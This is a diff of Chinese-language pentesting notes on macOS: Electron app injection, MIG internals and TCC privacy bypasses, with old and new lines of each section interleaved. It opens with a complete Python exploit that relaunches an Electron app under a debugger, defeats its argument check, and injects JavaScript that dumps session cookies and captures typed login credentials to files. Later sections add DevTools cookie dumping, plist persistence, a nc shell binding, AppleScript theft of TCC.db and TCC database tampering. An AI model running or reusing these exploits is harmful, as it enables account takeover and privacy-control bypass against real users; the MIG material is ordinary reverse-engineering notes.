以下是一个利用监控和执行带有参数 `--inspect-brk` 的应用的漏洞,通过这种方式可以绕过它的自定义保护(覆盖进程的参数以移除 `--inspect-brk`),然后注入一个 JS 负载以转储应用的 cookies 和凭证:
```python
import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep
INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None
JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');
var wc = webContents.getAllWebContents()[0]
function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}
function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}
function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}
get_cookies();
get_creds();
console.log("Payloads injected");
"""
async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL
url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url
async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1) # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9) # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")
async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
sleep(1)
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
await send_cmd(ws, "Profiler.enable")
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")
async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()
sleep(7)
await js_payloads()
async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT
CONT += 1
# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)
# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)
# Print for debugging
print(f"[{method} / {CONT}] ->", data)
if get_first:
return data
# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data
# Otherwise it's an event or unrelated message; keep reading
if __name__ == "__main__":
asyncio.run(main())
```
> [!CAUTION]
> 如果熔断器 **`EnableNodeCliInspectArguments`** 被禁用,应用程序将 **忽略节点参数**(如 `--inspect`),除非环境变量 **`ELECTRON_RUN_AS_NODE`** 被设置,如果熔断器 **`RunAsNode`** 被禁用,该变量也将被 **忽略**
>
@ -169,11 +377,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
在[**这篇博客**](https://hackerone.com/reports/1274695)中,这种调试被滥用,使得无头 Chrome **在任意位置下载任意文件**
### Injection from the App Plist
### 从应用程序 Plist 注入
您可以在 plist 中滥用此环境变量,通过添加这些键来保持持久性:
您可以在 plist 中滥用此环境变量,通过添加以下键来保持持久性:
```xml
<dict>
<key>ProgramArguments</key>
@ -190,7 +396,7 @@ print(ws.recv()
## TCC Bypass abusing Older Versions
> [!TIP]
> macOS 的 TCC 守护进程不会检查应用程序的执行版本。因此,如果您 **无法在 Electron 应用程序中注入代码**,可以下载该应用的旧版本并在其上注入代码,因为它仍然会获得 TCC 权限(除非 Trust Cache 阻止它)。
> macOS 的 TCC 守护进程不会检查应用程序的执行版本。因此,如果您 **无法在 Electron 应用程序中注入代码**,可以下载该应用的旧版本并在其上注入代码,因为它仍然会获得 TCC 权限(除非信任缓存阻止它)。
## Run non JS Code
@ -199,6 +405,8 @@ print(ws.recv()
## Automatic Injection
- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
工具 [**electroniz3r**](https://github.com/r3ggi/electroniz3r) 可以轻松用于 **查找已安装的易受攻击的 Electron 应用程序** 并在其上注入代码。该工具将尝试使用 **`--inspect`** 技术:
您需要自己编译它,可以这样使用:
@ -237,7 +445,11 @@ You can now kill the app using `kill -9 57739`
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
```
## 参考
- [https://github.com/boku7/Loki](https://github.com/boku7/Loki)
Loki 旨在通过用 Loki 命令与控制 JavaScript 文件替换应用程序的 JavaScript 文件来对 Electron 应用程序进行后门攻击。
## References
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)

View File

@ -4,7 +4,7 @@
## 基本信息
MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定的定义进行通信。即使生成的代码不够优雅,开发者只需导入它,他的代码将比之前简单得多。
MIG 的创建目的是 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定的定义进行通信。即使生成的代码不够优雅,开发者只需导入它,他的代码将比之前简单得多。
定义使用接口定义语言 (IDL) 指定,扩展名为 `.defs`
@ -25,7 +25,7 @@ MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **
### 示例
创建一个定义文件,在这种情况下包含一个非常简单的函数:
创建一个定义文件,在这种情况下一个非常简单的函数:
```cpp:myipc.defs
subsystem myipc 500; // Arbitrary name and id
@ -50,7 +50,7 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
> [!TIP]
> 您可以在系统中找到更复杂的示例,使用:`mdfind mach_port.defs`\
> 您可以从与文件相同的文件夹中编译它,使用:`mig -DLIBSYSCALL_INTERFACE mach_ports.defs`
> 并且您可以从与文件相同的文件夹中编译它,使用:`mig -DLIBSYSCALL_INTERFACE mach_ports.defs`
在文件 **`myipcServer.c`** 和 **`myipcServer.h`** 中,您可以找到结构 **`SERVERPREFmyipc_subsystem`** 的声明和定义,该结构基本上根据接收到的消息 ID 定义要调用的函数(我们指定了起始编号为 500
@ -108,14 +108,14 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
如果该函数预期发送一个 **reply**,则函数 `mig_internal kern_return_t __MIG_check__Reply__<name>` 也会存在。
实际上,可以在 **`myipcServer.h`** 中的结构 **`subsystem_to_name_map_myipc`** 中识别这种关系(在其他文件中为 **`subsystem*to_name_map*\***`\*\*
实际上,可以在 **`myipcServer.h`** 中的结构 **`subsystem_to_name_map_myipc`** 中识别这种关系(在其他文件中为 **`subsystem*to_name_map*\***`
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
最后,另一个使服务器正常工作的关键功能是 **`myipc_server`**,它实际上会 **调用与接收到的 id 相关的函数**
最后,一个使服务器正常工作的另一个重要功能是 **`myipc_server`**,它实际上将 **调用与接收到的 id 相关的函数**
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -132,7 +132,7 @@ mig_routine_t routine;
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* 最小大小routine() 如果不同更新它 */
/* 最小大小routine() 如果不同更新它 */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
@ -149,9 +149,9 @@ return FALSE;
}
</code></pre>
检查之前突出显示的行,访问通过 ID 调用的函数。
检查之前高亮的行,访问通过 ID 调用的函数。
以下是创建一个简单的 **服务器** 和 **客户端** 的代码,其中客户端可以调用服务器的 Subtract 函数:
以下是创建一个简单的 **server** 和 **client** 的代码,其中客户端可以调用服务器的 Subtract 函数:
{{#tabs}}
{{#tab name="myipc_server.c"}}
@ -219,32 +219,32 @@ USERPREFSubtract(port, 40, 2);
NDR_record 是由 `libsystem_kernel.dylib` 导出的,它是一个结构体,允许 MIG **转换数据,使其与所使用的系统无关**,因为 MIG 被认为是用于不同系统之间的(而不仅仅是在同一台机器上)。
这很有趣,因为如果在二进制文件中找到 `_NDR_record` 作为依赖项(`jtool2 -S <binary> | grep NDR``nm`),这意味着该二进制文件是 MIG 客户端或服务器。
这很有趣,因为如果在二进制文件中找到 `_NDR_record` 作为依赖项(`jtool2 -S <binary> | grep NDR``nm`),这意味着该二进制文件是一个 MIG 客户端或服务器。
此外,**MIG 服务器**在 `__DATA.__const` 中有调度表(或在 macOS 内核中的 `__CONST.__constdata` 和其他 \*OS 内核中的 `__DATA_CONST.__const`)。这可以通过 **`jtool2`** 转储。
**MIG 客户端** 将使用 `__NDR_record` 通过 `__mach_msg` 发送给服务器。
而 **MIG 客户端**将使用 `__NDR_record` 通过 `__mach_msg` 发送给服务器。
## 二进制分析
### jtool
由于许多二进制文件现在使用 MIG 来暴露 mach 端口,因此了解如何 **识别 MIG 的使用** 以及 **MIG 执行的函数** 与每个消息 ID 是很有趣的。
由于许多二进制文件现在使用 MIG 来暴露 mach 端口,因此了解如何 **识别 MIG 的使用** 以及 **MIG 在每个消息 ID 中执行的函数** 是很有趣的。
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) 可以解析 Mach-O 二进制文件中的 MIG 信息,指示消息 ID 并识别要执行的函数:
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
此外MIG 函数只是实际被调用函数的包装,这意味着通过获取其反汇编并搜索 BL您可能能够找到实际被调用的函数
此外MIG 函数只是实际被调用函数的包装,这意味着获取其反汇编并搜索 BL您可能能够找到实际被调用的函数
```bash
jtool2 -d __DATA.__const myipc_server | grep BL
```
### 汇编
### Assembly
之前提到过,负责**根据接收到的消息 ID 调用正确函数**的函数是 `myipc_server`。然而,通常你不会拥有二进制文件的符号(没有函数名称),因此检查**反编译后的样子**是很有趣的,因为它总是非常相似(函数的代码与暴露的函数无关):
之前提到过,负责**根据接收到的消息 ID 调用正确函数**的函数是 `myipc_server`。然而,通常你不会拥有二进制文件的符号(没有函数名称),因此检查**反编译后的样子**是很有趣的,因为它总是非常相似(函数的代码与暴露的函数无关):
{{#tabs}}
{{#tab name="myipc_server 反编译 1"}}
{{#tab name="myipc_server decompiled 1"}}
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
@ -258,13 +258,13 @@ var_18 = arg1;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// 调用 sign_extend_64可以帮助识别函数
// 这将指针存储在 rax 中,指向需要调用的调用
// 调用 sign_extend_64可以帮助识别函数
// 这将指针存储在 rax 中,指向需要调用的函数
// 检查地址 0x100004040 的使用(函数地址数组)
// 0x1f4 = 500起始 ID
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// 如果 - 否则if 返回 false而 else 调用正确的函数并返回 true
// 如果 - elseif 返回 false而 else 调用正确的函数并返回 true
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@ -288,7 +288,7 @@ return rax;
{{#endtab}}
{{#tab name="myipc_server 反编译 2"}}
{{#tab name="myipc_server decompiled 2"}}
这是在不同的 Hopper 免费版本中反编译的相同函数:
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
@ -340,7 +340,7 @@ r8 = 0x1;
var_4 = 0x0;
}
else {
// 调用计算的地址,函数应该在此处
// 调用计算出的地址,函数应该在这里
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -365,7 +365,7 @@ return r0;
{{#endtab}}
{{#endtabs}}
实际上,如果你去到函数**`0x100004000`**,你会发现**`routine_descriptor`** 结构的数组。结构的第一个元素是**函数**实现的**地址**,并且**结构占用 0x28 字节**,因此从字节 0 开始每 0x28 字节你可以获取 8 字节,这将是**将被调用的函数的地址**
实际上,如果你去到函数**`0x100004000`**,你会发现**`routine_descriptor`** 结构的数组。结构的第一个元素是**函数**实现的**地址**,并且**结构占用 0x28 字节**,因此每 0x28 字节(从字节 0 开始)你可以获取 8 字节,这将是**将被调用的函数的地址**
<figure><img src="../../../../images/image (35).png" alt=""><figcaption></figcaption></figure>
@ -373,11 +373,11 @@ return r0;
这些数据可以通过 [**使用这个 Hopper 脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) 提取。
### 调试
### Debug
MIG 生成的代码还调用 `kernel_debug` 以生成有关进入和退出操作的日志。可以使用 **`trace`** **`kdv`** 检查它们:`kdv all | grep MIG`
MIG 生成的代码还调用 `kernel_debug` 以生成有关进入和退出操作的日志。可以使用**`trace`**或**`kdv`**检查它们:`kdv all | grep MIG`
## 参考
## References
- [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)

View File

@ -4,9 +4,9 @@
## **基本信息**
**TCC (透明性、同意和控制)** 是一个安全协议,专注于规范应用程序权限。它的主要作用是保护敏感功能,如 **位置服务、联系人、照片、麦克风、相机、辅助功能和完整磁盘访问**。通过在授予应用程序访问这些元素之前要求明确的用户同意TCC 增强了隐私和用户对其数据的控制。
**TCC (透明性、同意和控制)** 是一种安全协议,专注于规范应用程序权限。其主要作用是保护敏感功能,如 **位置服务、联系人、照片、麦克风、相机、辅助功能和完整磁盘访问**。通过在授予应用程序访问这些元素之前要求用户明确同意TCC 增强了隐私和用户对其数据的控制。
当应用程序请求访问受保护功能时,用户会遇到 TCC。这通过一个提示可见允许用户 **批准或拒绝访问**。此外TCC 还支持直接用户操作,例如 **将文件拖放到应用程序中**,以授予对特定文件的访问,确保应用程序仅访问明确允许的内容。
当应用程序请求访问受保护功能时,用户会遇到 TCC。这通过一个提示可见允许用户 **批准或拒绝访问**。此外TCC 还支持用户的直接操作,例如 **将文件拖放到应用程序中**,以授予对特定文件的访问,确保应用程序仅访问明确允许的内容。
![TCC 提示的示例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
@ -14,7 +14,7 @@
每个登录用户都有一个 **用户模式 tccd** 在运行,定义在 `/System/Library/LaunchAgents/com.apple.tccd.plist` 中,注册 mach 服务 `com.apple.tccd``com.apple.usernotifications.delegate.com.apple.tccd`
在这里可以看到 tccd 作为系统和用户运行:
在这里,您可以看到 tccd 作为系统和用户运行:
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
@ -24,12 +24,12 @@ ps -ef | grep tcc
### TCC 数据库
允许/拒绝的设置存储在一些 TCC 数据库中:
允许/拒绝的信息存储在一些 TCC 数据库中:
- 系统范围的数据库在 **`/Library/Application Support/com.apple.TCC/TCC.db`**。
- 该数据库是**SIP 保护**的,因此只有 SIP 绕过可以写入。
- 该数据库是**SIP 保护**的,因此只有 SIP 绕过才能写入。
- 用户 TCC 数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 用于每个用户的偏好设置。
- 该数据库受到保护,因此只有具有高 TCC 权限的进程(如完全磁盘访问)可以写入(但它不受 SIP 保护)。
- 该数据库受到保护,因此只有具有高 TCC 权限的进程(如完全磁盘访问)才能写入(但它不受 SIP 保护)。
> [!WARNING]
> 之前的数据库也**受到 TCC 保护以进行读取访问**。因此,除非是来自 TCC 特权进程,否则您**无法读取**常规用户 TCC 数据库。
@ -37,12 +37,12 @@ ps -ef | grep tcc
> 但是,请记住,具有这些高权限的进程(如 **FDA****`kTCCServiceEndpointSecurityClient`**)将能够写入用户的 TCC 数据库。
- 还有一个**第三个** TCC 数据库在 **`/var/db/locationd/clients.plist`** 中,指示允许**访问位置服务**的客户端。
- SIP 保护文件 **`/Users/carlospolop/Downloads/REG.db`**(也受到 TCC 的读取访问保护)包含所有**有效 TCC 数据库**的**位置**。
- SIP 保护文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(也受到 TCC 的读取访问保护)包含更多 TCC 授予的权限。
- SIP 保护文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(任何人)是需要 TCC 例外的应用程序的允许列表。
- SIP 保护文件 **`/Users/carlospolop/Downloads/REG.db`**(也受到 TCC 的读取访问保护)包含所有**有效 TCC 数据库**的**位置**。
- SIP 保护文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(也受到 TCC 的读取访问保护)包含更多 TCC 授予的权限。
- SIP 保护文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(任何人可读)是需要 TCC 例外的应用程序的允许列表。
> [!TIP]
> **iOS** 中的 TCC 数据库在 **`/private/var/mobile/Library/TCC/TCC.db`**。
> **iOS** 中的 TCC 数据库在 **`/private/var/mobile/Library/TCC/TCC.db`**
> [!NOTE]
> **通知中心 UI** 可以对**系统 TCC 数据库**进行**更改**
@ -102,10 +102,10 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{{#endtabs}}
> [!TIP]
> 检查两个数据库可以查看应用程序允许、禁止或没有的权限(它会请求权限)。
> 检查两个数据库,您可以查看应用程序允许、禁止或没有的权限(它会请求权限)。
- **`service`** 是 TCC **权限** 的字符串表示
- **`client`** 是具有权限的 **bundle ID** 或 **二进制文件路径**
- **`client`** 是具有权限的 **bundle ID** 或 **二进制路径**
- **`client_type`** 指示它是 Bundle Identifier(0) 还是绝对路径(1)
<details>
@ -169,12 +169,12 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
```
- 有关表格**其他字段**的更多信息,请[**查看这篇博客文章**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)。
- 有关表格**其他字段**的更多信息,请[**查看这篇博客文章**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)。
您还可以在`System Preferences --> Security & Privacy --> Privacy --> Files and Folders`中检查**已授予的权限**。
> [!TIP]
> 用户 _可以_ **使用 `tccutil` 删除或查询规则**。
> 用户_可以_使用**`tccutil`** **删除或查询规则**。
#### 重置 TCC 权限
```bash
@ -186,7 +186,7 @@ tccutil reset All
```
### TCC 签名检查
TCC **数据库**存储应用程序的 **Bundle ID**,但它还 **存储** **信息****确保** 请求使用权限的应用程序是正确的。
TCC **数据库** 存储应用程序的 **Bundle ID**,但它还 **存储** **信息** 关于 **签名** **确保** 请求使用权限的应用程序是正确的。
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -204,11 +204,11 @@ csreq -t -r /tmp/telegram_csreq.bin
### 权限与 TCC 权限
应用程序 **不仅需要** **请求** 并且已经 **获得访问** 某些资源的权限,它们还需要 **拥有相关的权限**。\
例如 **Telegram** 拥有权限 `com.apple.security.device.camera` 来请求 **访问相机**。一个 **没有** 这个 **权限的应用** **无法** 访问相机(用户甚至不会被询问权限)。
例如 **Telegram** 拥有权限 `com.apple.security.device.camera` 来请求 **访问相机**。一个 **没有** 这个 **权限的应用** 将无法访问相机(用户甚至不会被询问权限)。
然而,对于应用程序 **访问** 某些用户文件夹,如 `~/Desktop``~/Downloads``~/Documents`,它们 **不需要** 任何特定的 **权限**。系统将透明地处理访问并 **根据需要提示用户**
苹果的应用程序 **不会生成提示**。它们在其 **权限** 列表中包含 **预先授予的权利**,这意味着它们 **永远不会生成弹出窗口****也** 不会出现在任何 **TCC 数据库** 中。例如:
苹果的应用程序 **不会生成提示**。它们在其 **权限** 列表中包含 **预先授予的权利**,这意味着它们 **永远不会生成弹出窗口****也不会** 显示在任何 **TCC 数据库** 中。例如:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -224,17 +224,17 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
> [!TIP]
> 除了一些关于权限的官方文档外,还可以找到关于权限的非官方**有趣信息在** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
一些 TCC 权限包括kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 没有公开的列表定义所有权限,但您可以查看这个 [**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
一些 TCC 权限包括kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 没有公开的列表定义所有权限,但您可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
### 敏感未保护位置
- $HOME (本身)
- $HOME/.ssh, $HOME/.aws,
- $HOME(本身)
- $HOME/.ssh, $HOME/.aws 等
- /tmp
### 用户意图 / com.apple.macl
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。此访问权限不会在任何 TCC 数据库中指定,而是作为**文件的扩展属性**。此属性将**存储允许的应用程序的 UUID**
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。此访问权限不会在任何 TCC 数据库中指定,而是作为文件的**扩展** **属性**。此属性将**存储允许的应用程序的 UUID**
```bash
xattr Desktop/private.txt
com.apple.macl
@ -252,15 +252,15 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
> [!NOTE]
> 有趣的是,**`com.apple.macl`** 属性是由 **Sandbox** 管理的,而不是 tccd。
>
> 还要注意,如果您将允许计算机上某个应用的 UUID 的文件移动到另一台计算机,由于同一应用将具有不同的 UID它将无法授予该应用访问权限。
> 还要注意,如果您将允许计算机上某个应用程序的 UUID 的文件移动到另一台计算机,由于同一应用程序将具有不同的 UID它将不会授予该应用程序访问权限。
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它是 **受 SIP 保护的**。然而,正如 [**在这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),可以通过 **压缩** 文件、**删除** 它**解压** 来禁用它。
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它是 **受 SIP 保护的**。然而,正如 [**在这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),可以通过 **压缩** 文件、**删除** 它**解压缩**来禁用它。
## TCC 权限提升与绕过
### 插入到 TCC
如果您在某个时刻成功获得 TCC 数据库的写入访问权限,可以使用以下内容添加条目(删除注释):
如果您在某个时刻成功获得 TCC 数据库的写入访问权限,可以使用以下内容添加条目(删除注释):
<details>
@ -345,7 +345,7 @@ EOD
```
{{#endtab}}
{{#tab name="窃取系统 TCC.db"}}
{{#tab name="Steal systems TCC.db"}}
```applescript
osascript<<EOD
tell application "Finder"
@ -358,7 +358,7 @@ EOD
{{#endtab}}
{{#endtabs}}
您可以利用此权限**编写自己的用户 TCC 数据库**。
您可以利用此权限**编写自己的用户 TCC 数据库**。
> [!WARNING]
> 拥有此权限后,您将能够**请求 Finder 访问 TCC 限制的文件夹**并获取文件,但据我所知,您**无法使 Finder 执行任意代码**以完全滥用其 FDA 访问权限。
@ -396,11 +396,11 @@ EOD
```
</details>
同样发生在 **Script Editor 应用程序**,它可以控制 Finder但使用 AppleScript 你无法强制它执行脚本。
同样发生在 **Script Editor app**,它可以控制 Finder但使用 AppleScript 你无法强制它执行脚本。
### 自动化 (SE) 到某些 TCC
### Automation (SE) to some TCC
**系统事件可以创建文件夹操作,而文件夹操作可以访问一些 TCC 文件夹**(桌面、文档和下载),因此可以使用如下脚本来滥用这种行为:
**System Events 可以创建文件夹操作,而文件夹操作可以访问一些 TCC 文件夹**(桌面、文档和下载),因此可以使用如下脚本来滥用这种行为:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
@ -442,9 +442,9 @@ EOD
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
```
### 自动化 (SE) + 可访问性 (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** 到 FDA\*
### 自动化 (SE) + 辅助功能 (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** 到 FDA\*
**`System Events`** 上的自动化 + 可访问性 (**`kTCCServicePostEvent`**) 允许向进程发送 **按键**。通过这种方式,您可以滥用 Finder 来更改用户的 TCC.db 或为任意应用程序提供 FDA尽管可能会提示输入密码
**`System Events`** + 辅助功能 (**`kTCCServicePostEvent`**) 上的自动化允许向进程发送 **按键**。通过这种方式,您可以滥用 Finder 来更改用户的 TCC.db 或为任意应用程序提供 FDA尽管可能会提示输入密码
Finder 覆盖用户 TCC.db 示例:
```applescript
@ -506,7 +506,7 @@ EOF
### 用户 TCC 数据库到 FDA
获得 **用户 TCC** 数据库的 **写权限**\*\*不能\*\* 授予自己 **`FDA`** 权限,只有系统数据库中的用户可以授予。
获得 **用户 TCC** 数据库的 **写权限****不能** 授予自己 **`FDA`** 权限,只有系统数据库中的用户可以授予。
但你可以 **授予** 自己 **`Finder 的自动化权限`**,并滥用之前的技术提升到 FDA\*。
@ -518,14 +518,14 @@ EOF
### **SIP 绕过到 TCC 绕过**
系统 **TCC 数据库** 受到 **SIP** 保护,这就是为什么只有具有 **指示的权限** 的进程才能修改它。因此,如果攻击者找到一个 **SIP 绕过** 通过一个 **文件**(能够修改一个受 SIP 限制的文件),他将能够:
系统 **TCC 数据库** 受到 **SIP** 保护,这就是为什么只有具有 **指示的权限** 的进程才能修改它。因此,如果攻击者找到一个 **SIP 绕过** 通过一个 **文件**(能够修改受 SIP 限制的文件),他将能够:
- **移除** TCC 数据库的保护,并授予自己所有 TCC 权限。他可以滥用这些文件中的任何一个,例如:
- **移除 TCC 数据库的保护**,并授予自己所有 TCC 权限。他可以滥用这些文件中的任何一个,例如:
- TCC 系统数据库
- REG.db
- MDMOverrides.plist
然而,还有另一种选择可以滥用这个 **SIP 绕过来绕过 TCC**,文件 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是一个需要 TCC 例外的应用程序的允许列表。因此,如果攻击者可以 **移除此文件的 SIP 保护** 并添加**自己的应用程序**,该应用程序将能够绕过 TCC。\
